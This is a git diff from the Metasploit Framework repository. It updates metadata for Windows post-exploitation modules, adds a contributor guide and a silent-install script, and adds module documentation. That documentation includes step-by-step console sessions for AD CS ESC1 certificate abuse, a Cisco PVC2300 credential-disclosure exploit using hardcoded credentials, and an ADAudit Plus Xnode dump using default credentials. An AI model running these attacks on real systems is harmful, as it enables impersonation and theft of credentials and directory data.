"description": "This module will query the system for services and display name and\n configuration info for each returned service. It allows you to\n optionally search the credentials, path, or start type for a string\n and only return the results that match. These query operations are\n cumulative and if no query strings are specified, it just returns all\n services. NOTE: If the script hangs, windows firewall is most likely\n on and you did not migrate to a safe process (explorer.exe for\n example).",
"references": [
],
@@ -209851,7 +214334,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-09-09 17:27:19 +0000",
"path": "/modules/post/windows/gather/enum_services.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_services",
@@ -209859,9 +214342,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
},
@@ -209877,7 +214371,7 @@
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This module will enumerate configured and recently used file shares",
"description": "This module will enumerate configured and recently used file shares.",
"references": [
],
@@ -209887,7 +214381,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-31 12:31:09 +0000",
"path": "/modules/post/windows/gather/enum_shares.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_shares",
@@ -209895,14 +214389,25 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"shell",
"powershell",
"meterpreter"
],
"needs_cleanup": null
},
"post_windows/gather/enum_snmp": {
"name": "Windows Gather SNMP Settings Enumeration (Registry)",
"name": "Windows Gather SNMP Settings",
"fullname": "post/windows/gather/enum_snmp",
"aliases": [
@@ -209914,9 +214419,10 @@
"Carlos Perez <carlos_perez@darkoperator.com>",
"Tebo <tebo@attackresearch.com>"
],
"description": "This module will enumerate the SNMP service configuration",
"description": "This module will enumerate the SNMP service configuration.",
"references": [
"MSB-MS00-096",
"URL-https://docs.microsoft.com/en-us/security-updates/securitybulletins/2000/ms00-096"
],
"platform": "Windows",
"arch": "",
@@ -209924,7 +214430,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2022-09-13 17:45:10 +0000",
"path": "/modules/post/windows/gather/enum_snmp.rb",
"is_install_path": true,
"ref_name": "windows/gather/enum_snmp",
@@ -209932,8 +214438,19 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"shell",
"powershell",
"meterpreter"
],
"needs_cleanup": null
@@ -210654,7 +215171,7 @@
"author": [
"smashery"
],
"description": "This module creates a memory dump of a process (to disk) and downloads the file\n for offline analysis.\n Options for DUMP_TYPE affect the completeness of the dump. \"full\" retrieves\n the entire process address space (all allocated pages).\n \"standard\" excludes image files (e.g. DLLs and EXEs in the address space) as\n well as memory mapped files. As a result, this option can be significantly\n smaller in size.",
"description": "This module creates a memory dump of a process (to disk) and downloads the file\n for offline analysis.\n\n Options for DUMP_TYPE affect the completeness of the dump:\n\n \"full\" retrieves the entire process address space (all allocated pages);\n \"standard\" excludes image files (e.g. DLLs and EXEs in the address space) as\n well as memory mapped files. As a result, this option can be significantly\n smaller in size.",
"references": [
],
@@ -210664,7 +215181,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-24 18:04:29 +0000",
"path": "/modules/post/windows/gather/memory_dump.rb",
"is_install_path": true,
"ref_name": "windows/gather/memory_dump",
@@ -210782,7 +215299,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-09-08 21:56:02 +0000",
"mod_time": "2022-08-20 12:16:26 +0000",
"path": "/modules/post/windows/gather/ntds_grabber.rb",
"is_install_path": true,
"ref_name": "windows/gather/ntds_grabber",
@@ -210818,7 +215335,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-20 12:16:26 +0000",
"path": "/modules/post/windows/gather/ntds_location.rb",
"is_install_path": true,
"ref_name": "windows/gather/ntds_location",
@@ -211077,7 +215594,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-20 12:16:26 +0000",
"path": "/modules/post/windows/gather/smart_hashdump.rb",
"is_install_path": true,
"ref_name": "windows/gather/smart_hashdump",
@@ -211746,7 +216263,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-08 12:56:52 +0000",
"path": "/modules/post/windows/manage/forward_pageant.rb",
"is_install_path": true,
"ref_name": "windows/manage/forward_pageant",
@@ -211754,6 +216271,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
@@ -212005,7 +216531,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-09-07 14:01:53 +0000",
"path": "/modules/post/windows/manage/killav.rb",
"is_install_path": true,
"ref_name": "windows/manage/killav",
@@ -212013,9 +216539,20 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"os-resource-loss"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": [
"meterpreter"
"meterpreter",
"powershell",
"shell"
],
"needs_cleanup": null
},
@@ -212342,7 +216879,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2021-10-06 13:43:31 +0000",
"mod_time": "2022-08-08 18:00:36 +0000",
"path": "/modules/post/windows/manage/powershell/exec_powershell.rb",
"is_install_path": true,
"ref_name": "windows/manage/powershell/exec_powershell",
@@ -212369,7 +216906,7 @@
"Ben Turner benpturner <Ben Turner benpturner@yahoo.com>",
"Dave Hardy davehardy20 <Dave Hardy davehardy20@gmail.com>"
],
"description": "This module will download and execute one or more PowerShell script\n s over a present powershell session.\n Setting VERBOSE to true will show the stager results.",
"description": "This module will download and execute one or more PowerShell scripts\n over a present powershell session.\n Setting VERBOSE to true will show the stager results.",
"references": [
],
@@ -212379,7 +216916,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2022-08-08 18:00:36 +0000",
"path": "/modules/post/windows/manage/powershell/load_script.rb",
"is_install_path": true,
"ref_name": "windows/manage/powershell/load_script",
@@ -6,6 +6,9 @@ However, tackling core Metasploit Framework bugs or particularly squirrelly expl
Metasploit is a tool by and for hackers, but the hackers that maintain it also happen to be software engineers. So, we have some hopefully easy-to-remember Do's and Don'ts in [CONTRIBUTING.md](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md). Read up on those.
# Making Your First PR
Our preferred method of module submission is via a git pull request from a feature branch on your own fork of Metasploit. You can learn more about making your first PR at [[Creating Your First PR]]
# Server exploits
Server exploits are always in demand; why bother with complicated social engineering campaigns when you can go straight to the pain point of a vulnerable network. Here are some search queries to get you started:
@@ -53,9 +56,6 @@ Again, there's always room on #metasploit on Freenode. Be helpful with the quest
You probably shouldn't run proof of concept exploit code you find on the Internet on a machine you care about in a network you care about. That is generally considered a Bad Idea. You also probably shouldn't use your usual computer as a target for exploit development, since you are intentionally inducing unstable behavior.
Our preferred method of module submission is via a git pull request from a feature branch on your own fork of Metasploit. You can learn how to create one here:
[[Landing-Pull-Requests]]
Also, please take a peek at our guides on using git and our acceptance guidelines for new modules in case you're not familiar with them.
If you get stuck, try to explain your specific problem as best you can on our [Freenode IRC](https://freenode.net/) channel, #metasploit (joining requires a [registered nick](https://freenode.net/kb/answer/registration)). Someone should be able to lend a hand. Apparently, some of those people never sleep.
@@ -0,0 +1,136 @@
# Creating Your First PR - An Intro To Git and the PR Process
## Intro
Congratulations fellow traveler, so you're interested in contributing to Metasploit eh? Well welcome aboard, its going to be a fun ride!
You'll learn lots along the way but here are some tips and tricks that should help you get started with making your first PR request
whilst also avoiding some common pitfalls and learning how some of our systems work.
## Initial Steps and Important Notes
The rest of this guide assumes you have already followed the steps at [Setting Up A Developer Environment](https://r-7.co/MSF-DEV) in order to get
a fork of Metasploit set up and ready to run, and that you have added in your SSH keys
(see [Adding a New SSH Key To Your GitHub Account](https://docs.github.com/en/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account)),
set up Ruby and optionally the PostgreSQL database, and done any custom shortcuts you wish to configure.
## Getting the Latest Version of Metasploit Framework
Before making any new contributions, you will want to sure you are running the latest version of Metasploit Framework.
To do this run `git checkout master && git fetch upstream && git pull`, where `upstream` is the branch connected to the
Rapid7 remote, aka Rapid7's copy of the code. You can verify that `upstream` is set correctly by running `git remote get-url upstream`
and verifying it is set to `git@github.com:rapid7/metasploit-framework.git`.
Once you run this command, it will check out the `master` branch, then fetch all
the changes from `upstream` (which should be configured to be Rapid7's copy of Metasploit Framework on GitHub). Once
it has cached these changes, the `git pull` command will then pull these changes into the current branch, aka `master`.
Not pulling down changes before writing new code could lead to big issues down the line, particularly if someone has edited a file
you intended to modify. In that case maintainers will then have to try find the right combination of changes to implement, which could lead
to your PR being rejected if these changes are too complex.
## Making Sure Your Gems Are Updated
The next step is to make sure you have the latest copy of the Gems that Metasploit Framework depends on. This can be done by running `bundle install`
from the same directory as where the `Gemfile.lock` file is located, which will be in the same folder as wherever you cloned your fork to locally.
Doing this will allow you to make sure that you are running the latest libraries, which will ensure if you do encounter any bugs whilst
developing code, those bugs are not related to out of date Gems being installed, and are therefore potentially legitimate bugs that need fixing.
## Creating a New Branch for Your Code
Once all of this is done, you will want to create a new branch for your code, which can be done by running `git checkout -b <your branch name here>`.
This will snapshot the current branch that you are on, and use that to create a new branch with the name provided. Note that I did say snapshot. This is
why it's important to update the current branch's code to the latest version of Metasploit Framework available prior to running this command,
otherwise the new branch will contain outdated code.
## Adding in Your Changes and Creating Meaningful Commit Messages
Once you have made your code changes, add them using `git add <path to file to add> <optional path to second file to add>`. Note that you can
specify multiple files to add using `git add` at the same time.
To commit these changes locally, use `git commit -m "<commit message here>"`. Note that as a general rule of thumb, commit messages should aim
to be 50 characters or less while telling readers what was changed in that commit. You generally don't want to create commits that do multiple things at once,
instead create a separate commit for each group of items that you are changing, and make sure that the commit message reflects what changed in a general sense.
Note also that maintainers may end up squashing your commits down so that your commit A, B, and C, now become commit D which
contains all of the same changes as commit A, B, and C, but in one commit and with one associated commit message. This is often
done when the code is ready to be landed into Metasploit Framework to help make the commit history easier for people to read.
## Checking for Code Errors
Before code can be accepted into Metasploit Framework, it must also pass our RuboCop and MsfTidy rules. These help ensure that
all contributors are committing code that follows a common set of standards. To check if your code meets our RuboCop standards,
from the root of wherever you cloned your fork of Metasploit Framework to on disk, run `rubocop <path to your module from current directory>`.
Specifying the `-a` parameter will ask RuboCop to check your module and if possible fix any issues that RuboCop is able to fix.
In this case the command would be `rubocop -a <path to your module from current directory>`. It is encouraged to keep running
this command and fixing any issues that come up until RuboCop no longer comes back with any errors to report. Once this is
complete, run `git add <file>` followed by `git commit -m "RuboCop Fixes"`. You can change the commit message if you
want, but it should mention RuboCop as it helps maintainers know what the commit is related to.
As a good practice rule, you should always separate your commits that contain RuboCop changes from those that contain non-RuboCop related changes.
This helps ensure that when it comes time to review your code, review can proceed a lot quicker and more efficiently.
Note that special cases exist if you are writing library code as our RuboCop rules are primarily designed to be run against modules.
If at any point you are confused r.e this, please feel free to reach out and ask us for help on Slack at https://metasploit.com/slack.
Once this is done, the next tool to run is located in the root of the Metasploit local fork at `tools/dev/msftidy.rb`. You will want to run this tool
against your module code (if applicable), using `tools/dev/msftidy.rb <path to module>`. This will give some output if there are any errors, or no output
if your module passed the tests. Try and fix any errors mentioned here.
## Writing Documentation
The next step to do, if you are writing a module, is to write the documentation for the module. You can find some information
on how to write module documentation at [Writing Module Documentation](https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html).
In general when writing documentation you will want to search for a similar documentation file under the `documentation`
folder located in the root of the Metasploit fork. You can then copy one of these files and use it as the basis for writing
your new documentation for your module.
When writing the information for the documentation, be sure to make sure your installation steps are as clear as possible. Any confusion over
how to set up the target to be exploited will likely result in delays. You will want to put as much detail here as possible.
Additionally any information about caveats, scenarios you have tested, custom options you added in, or quirks you noticed
should also go into this file.
## Checking Documentation Syntax
Once you have written the documentation, you then want to run `toos/dev/msftidy_docs.rb <path to documentation file>`. This will report on any
errors with your documentation file, which you will want to fix before submitting your PR. Notice however that if you get a warning about long lines,
these may be okay to ignore depending on the context. A good example is if a line is long merely because of a URL. Such warnings can be
safely ignored.
## Submitting Your Changes and Opening a PR
Once you have gone through all of the steps above you should be ready to submit your PR. To submit your PR, first check which
branch points to your copy of the code. If you have followed the setup guide, it should be `origin`. You can double check this
branch's remote URL using `git remote get-url origin`. It should look something like `git@github.com:gwillcox-r7/metasploit-framework`
with `gwillcox-r7` substituted for your username.
Assuming the `origin` branch is in fact pointing to your copy of the code, run `git push origin local-branch:remote-branch`
and replace `local-branch` with the branch locally where your code changes are located, and `remote-branch` with what
you want this branch to be called on the remote repository, aka `origin` which will be your fork on GitHub.com. In most
cases you will want these two names to be the same to avoid confusion, but its good to know this syntax should you
start working with more complex situations. Note that if the branch pointing to your copy of the code is not named `origin`,
replace the word `origin` in the command above with the name of the branch that does point to your copy of the code.
This should result in output similar to the following:
```
> git push origin update_mssql_lib_parameters:update_mssql_lib_parameters
Enumerating objects: 15, done.
Counting objects: 100% (15/15), done.
Delta compression using up to 2 threads
Compressing objects: 100% (8/8), done.
Writing objects: 100% (8/8), 1.55 KiB | 1.55 MiB/s, done.
Total 8 (delta 7), reused 0 (delta 0), pack-reused 0
remote: Resolving deltas: 100% (7/7), completed with 7 local objects.
remote:
remote: Create a pull request for 'update_mssql_lib_parameters' on GitHub by visiting:
remote: https://github.com/gwillcox-r7/metasploit-framework/pull/new/update_mssql_lib_parameters
remote:
To github.com:gwillcox-r7/metasploit-framework
* [new branch] update_mssql_lib_parameters -> update_mssql_lib_parameters
```
To create a new pull request (aka PR), browse to the URL mentioned in this output. In this case for the output above this would
be `https://github.com/gwillcox-r7/metasploit-framework/pull/new/update_mssql_lib_parameters`.
This will open a new template to create a PR request. Please follow all of the directions here and provide the requested details whilst also
deleting the template text once you have provided the requested information. Note that PRs that do not provide anything but the template text for
their description will be closed.
In your PR description you should take care to mention what it is that you are submitting, details on the type of vulnerability and CVE-ID,
if applicable, how to test the submission, as well as any special concerns or items of note that occurred whilst conducting testing.
Once this is done a member of our team will review your PR within a few days and provide feedback on any changes that may still need to be made
before the submission can be accepted.
@@ -30,6 +30,33 @@ Download the [latest Windows installer](https://windows.metasploit.com/metasploi
If you downloaded Metasploit from us, there is no cause for alarm. We pride ourselves on offering the ability for our customers and followers to have the same toolset that the hackers have so that they can test systems more accurately. Because these (and the other exploits and tools in Metasploit) are identical or very similar to existing malicious toolsets, they can be used for nefarious purposes, and they are often flagged and automatically removed by antivirus programs, just like the malware they mimic.
### Windows silent installation
The PowerShell below will download and install the framework, and is suitable for automated Windows deployments. Note that, the installer will be downloaded to `$DownloadLocation` and won't be deleted after the script has run.
```
[CmdletBinding()]
Param(
$DownloadURL = "https://windows.metasploit.com/metasploitframework-latest.msi",
$DownloadLocation = "$env:APPDATA/Metasploit",
$InstallLocation = "C:\Tools",
$LogLocation = "$DownloadLocation/install.log"
)
If(! (Test-Path $DownloadLocation) ){
New-Item -Path $DownloadLocation -ItemType Directory
}
If(! (Test-Path $InstallLocation) ){
New-Item -Path $InstallLocation -ItemType Directory
}
$Installer = "$DownloadLocation/metasploit.msi"
Invoke-WebRequest -UseBasicParsing -Uri $DownloadURL -OutFile $Installer
& $Installer /q /log $LogLocation INSTALLLOCATION="$InstallLocation"
```
## Improving these installers
Feel free to review and help improve [the source code for our installers](https://github.com/rapid7/metasploit-omnibus).
+6 -2
View File
@@ -268,13 +268,17 @@ NAVIGATION_CONFIG = [
nav_order: 1
},
{
path: 'dev/Setting-Up-a-Metasploit-Development-Environment.md',
path: 'Creating-Your-First-PR.md',
nav_order: 2
},
{
path: 'Sanitizing-PCAPs.md',
path: 'dev/Setting-Up-a-Metasploit-Development-Environment.md',
nav_order: 3
},
{
path: 'Sanitizing-PCAPs.md',
nav_order: 4
},
{
old_wiki_path: "Navigating-and-Understanding-Metasploit's-Codebase.md",
path: 'Navigating-and-Understanding-Metasploits-Codebase.md',
@@ -0,0 +1,139 @@
## Vulnerable Application
Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate
template's configuration the resulting certificate can be used for various operations such as authentication.
PFX certificate files that are saved are encrypted with a blank password.
## Verification Steps
1. From msfconsole
2. Do: `use auxiliary/admin/dcerpc/icpr_cert`
3. Set the `CA`, `RHOSTS`, `SMBUser` and `SMBPass` options
4. Run the module and see that a new certificate was issued or submitted
## Options
### CA
The target certificate authority. The default value used by AD CS is `$domain-DC-CA`.
### CERT_TEMPLATE
The certificate template to issue, e.g. "User".
### ALT_DNS
Alternative DNS name to specify in the certificate. Useful in certain attack scenarios.
### ALT_UPN
Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the
format `$username@$dnsDomainName`.
## Actions
### REQUEST_CERT
Request a certificate. The certificate PFX file will be stored on success. The certificate file's password is blank.
## Scenarios
### Obtaining Configuration Values
For this module to work, it's necessary to know the name of a CA and certificate template. These values can be obtained
by a normal user via LDAP.
```
msf6 > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set BIND_DN aliddle@msflab.local
BIND_DN => aliddle@msflab.local
msf6 auxiliary(gather/ldap_query) > set BIND_PW Password1!
BIND_PW => Password1!
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_ADCS_CAS
ACTION => ENUM_ADCS_CAS
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
CN=msflab-DC-CA CN=Enrollment Services CN=Public Key Services CN=Services CN=Configuration DC=msflab DC=local
=============================================================================================================
Name Attributes
---- ----------
cacertificatedn CN=msflab-DC-CA, DC=msflab, DC=local
certificatetemplates ESC1-Test || Workstation || ClientAuth || DirectoryEmailReplication || DomainControllerAuthentication || KerberosAuthentication || EFSRecovery || EFS || DomainController || WebServer || Machine || User || SubCA |
| Administrator
cn msflab-DC-CA
dnshostname DC.msflab.local
name msflab-DC-CA
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### Issue A Generic Certificate
In this scenario, an authenticated user issues a certificate for themselves using the `User` template which is available
by default. The user must know the CA name, which in this case is `msflab-DC-CA`.
```
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
SMBPass => Password1!
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
CA => msflab-DC-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Requesting a certificate...
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate UPN: aliddle@msflab.local
[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1106
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125053_default_unknown_windows.ad.cs_545696.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
```
### Issue A Certificate With A Specific subjectAltName (AKA ESC1)
In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different
User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a
different UPN effectively issues a certificate that can be used to authenticate as another user.
The user must know:
* A vulnerable certificate template, in this case `ESC1-Test`.
* The UPN of a target account, in this case `smcintyre@msflab.local`.
See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC1 for more
information.
```
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass Password1!
SMBPass => Password1!
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA
CA => msflab-DC-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test
CERT_TEMPLATE => ESC1-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local
ALT_UPN => smcintyre@msflab.local
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol
[*] 192.168.159.10:445 - Binding to \cert...
[+] 192.168.159.10:445 - Bound to \cert
[*] 192.168.159.10:445 - Requesting a certificate...
[+] 192.168.159.10:445 - The requested certificate was issued.
[*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local
[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
```
@@ -0,0 +1,55 @@
## Vulnerable Application
This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order to download the configuration file
containing the admin credentials for the web interface.
The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the module attempts to obtain a sessionID
via an HTTP GET request to the vulnerable /oamp/System.xml endpoint using the `login` action and the hardcoded credentials `L1_admin:L1_51`.
If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml that uses the `downloadConfigurationFile`
action in an attempt to download the configuration file.
The configuration file, if obtained, will be encdoded using base64 with a non-standard alphabet. In order to decode it,
the module first translates the encoded configuration file from the default base64 alphabet to the custom alphabet.
Then the configuration file is decoded using regular base64 and subsequently stored in the `loot` folder.
Finally, the module attempts to extract the admin credentials to the web interface from the decoded configuration file.
No known solution was made available for this vulnerability and no CVE has been published.
It is therefore likely that most (if not all) Cisco PVC2300 cameras are affected.
This module was successfully tested against several Cisco PVC2300 cameras.
## Options
No non-default options are configured.
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/gather/cisco_pvc2300_download_config`
3. Do: `set RHOSTS [IP]`
4. Do: `run`
## Scenarios
### Cisco PVC2300
```
Module options (auxiliary/gather/cisco_pvc_2300_info_disclosure):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.31.31.233 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
msf6 auxiliary(gather/cisco_pvc_2300_info_disclosure) > run
[*] Running module against 172.31.31.233
[*] The target may be vulnerable. Obtained sessionID 1122062985
[+] Successfully downloaded the configuration file
[*] Saving the full configuration file to /root/.msf4/loot/20220803124629_default_172.31.31.233_ciscopvc.config_489884.txt
[*] Obtained device name PVC2300 POE Video Camera
[+] Obtained the following admin credentials for the web interface from the configuration file:
[*] admin username: admin
[*] admin password: [obfuscated]
[*] Auxiliary module execution completed
```
@@ -0,0 +1,156 @@
## Vulnerable Application
The module exploits default admin credentials for the DataEngine Xnode server in ADAudit Plus versions prior to 6.0.3 (6032)
in order to dump the contents of Xnode data repositories (tables), which may contain varying amounts of Active Directory information
including domain names, host names, usernames and SIDs. The module can also be used against patched ADAudit Plus
versions if the correct credentials are provided.
The module's `check` method attempts to authenticate to the remote Xnode server. The default credentials are `atom`:`chegan`.
If the credentials are valid, the module will perform a few requests to the Xnode server to obtain information like the Xnode version.
This is mostly done as a sanity check to ensure the Xnode server is working as expected.
Next, the module will iterate over a list of known Xnode data repositories and perform several requests for each in order to:
- Check if the data repository is configured on the target
- Obtain the total number of records in the data repository
- Obtain both the lowest and the highest value for the ID field (column). These values will be used
to determine the range of possible records to be queried.
If a given data repository exists, the module uses the above information to dump the data repository contents.
The maximum number of records returned for a search query is 10. To overcome this, the module performs series of requests
using the `dr:/dr_search` action, while specifying the ID values for each record.
For example, if the lowest observed ID value is 15 and the highest is 41, the module will perform three requests:
1. A request for the records with ID values 15 to 24
2. A request for the records with ID values 25 to 34
3. A request for the records with ID values 35 to 41
Empty records are ignored.
To view the raw Xnode requests and responses, enter `set VERBOSE true` before running the module.
By default, the module dumps only the data repositories (tables) and fields (columns) specified in the configuration file.
The configuration file can be set via the `CONFIG_FILE` option, but this is not required because
a default config file exists at `data/exploits/manageengine_xnode/CVE-2020-11532/adaudit_plus_xnode_conf.yaml` that will
be used if `CONFIG_FILE` is not set.
The configuration file is also used to add labels to the values sent by Xnode in response to a query.
This means that for every value in the Xnode response, the module will add the corresponding field name to the results
before writing those to a JSON file in `~/.msf4/loot`.
It is also possible to use the `DUMP_ALL` option to obtain all data in all known data repositories without specifying data field names.
However, note that when using this option the data won't be labeled.
This module has been successfully tested against ManageEngine ADAudit Plus 6.0.3 (6031) running on Windows Server 2012 R2
and ADAudit Plus 6.0.7 (6076) running on Windows Server 2019.
## Installation Information
Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/).
All versions from 6000 through 6031 are configured with default Xnode credentials. Note that testing against
vulnerable versions from the archives will make data enumeration impossible because the free trials for those
versions do not seem to allow ADAudit Plus to actually start collecting data that can then be accessed via Xnode.
However, apart from some configuration changes, Xnode functions the same way on patched versions as it does on vulnerable versions,
so it is possible to test the modules against patched versions as long as the correct credentials are provided.
A free 30-day trial of the latest version of ADAudit Plus can be downloaded
[here](https://www.manageengine.com/products/active-directory-audit/download.html). To install, just run the .exe and follow the instructions.
In order to configure a patched ManageEngine ADAudit Plus instance for testing, follow these steps:
- Open the Xnode config file at `<install_dir>\apps\dataengine-xnode\conf\dataengine-xnode.conf`
- Note down the username and password
- Insert the following line:
```
xnode.connector.accept_remote_request = true
```
To launch ADAudit Plus, run Command Prompt as administrator and run: `<install_dir>\bin\run.bat`
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/gather/manageengine_adaudit_plus_xnode_enum`
3. Do: `set RHOSTS [IP]`
4. Do: `run`
## Options
### CONFIG_FILE
YAML File specifying the data repositories (tables) and fields (columns) to dump.
### DUMP_ALL
Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
## Scenarios
### ManageEngine ADAudit Plus 6.0.3 (6031) running on Windows Server 2012 R2
```
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > options
Module options (auxiliary/gather/manageengine_adaudit_plus_xnode_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
CONFIG_FILE /home/wynter/dev/metasploit-framework/data/exploits/manageeng no YAML file specifying the data repositories (tables) and fields (columns) to dump
ine_xnode/CVE-2020-11532/adaudit_plus_xnode_conf.yaml
DUMP_ALL false no Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.
PASSWORD chegan yes Password used to authenticate to the Xnode server
RHOSTS 192.168.1.41 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 29118 yes The target port (TCP)
USERNAME atom yes Username used to authenticate to the Xnode server
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run
[*] Running module against 192.168.1.41
[*] 192.168.1.41:29118 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.1.41:29118 - Target seems to be Xnode.
[+] 192.168.1.41:29118 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
[*] 192.168.1.41:29118 - Obtained expected Xnode "de_healh" status: "GREEN".
[*] 192.168.1.41:29118 - Target is running Xnode version: "XNODE_1_0_0".
[*] 192.168.1.41:29118 - Obtained Xnode installation path: "C:\Program Files (x86)\ManageEngine\ADAudit Plus\apps\dataengine-xnode".
[*] 192.168.1.41:29118 - Data repository AdapFileAuditLog is empty.
[*] 192.168.1.41:29118 - The data repository AdapPowershellAuditLog is not available on the target.
[*] 192.168.1.41:29118 - The data repository AdapSysMonAuditLog is not available on the target.
[*] 192.168.1.41:29118 - The data repository AdapDNSAuditLog is not available on the target.
[*] 192.168.1.41:29118 - The data repository AdapADReplicationAuditLog is not available on the target.
[*] Auxiliary module execution completed
```
### ManageEngine ADAudit Plus 6.0.7 (6076) running on Windows Server 2019 (custom password)
```
msf6 > use auxiliary/gather/manageengine_adaudit_plus_xnode_enum
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > set rhosts 192.168.1.25
rhosts => 192.168.1.25
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > set password custom_password
password => custom_password
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > options
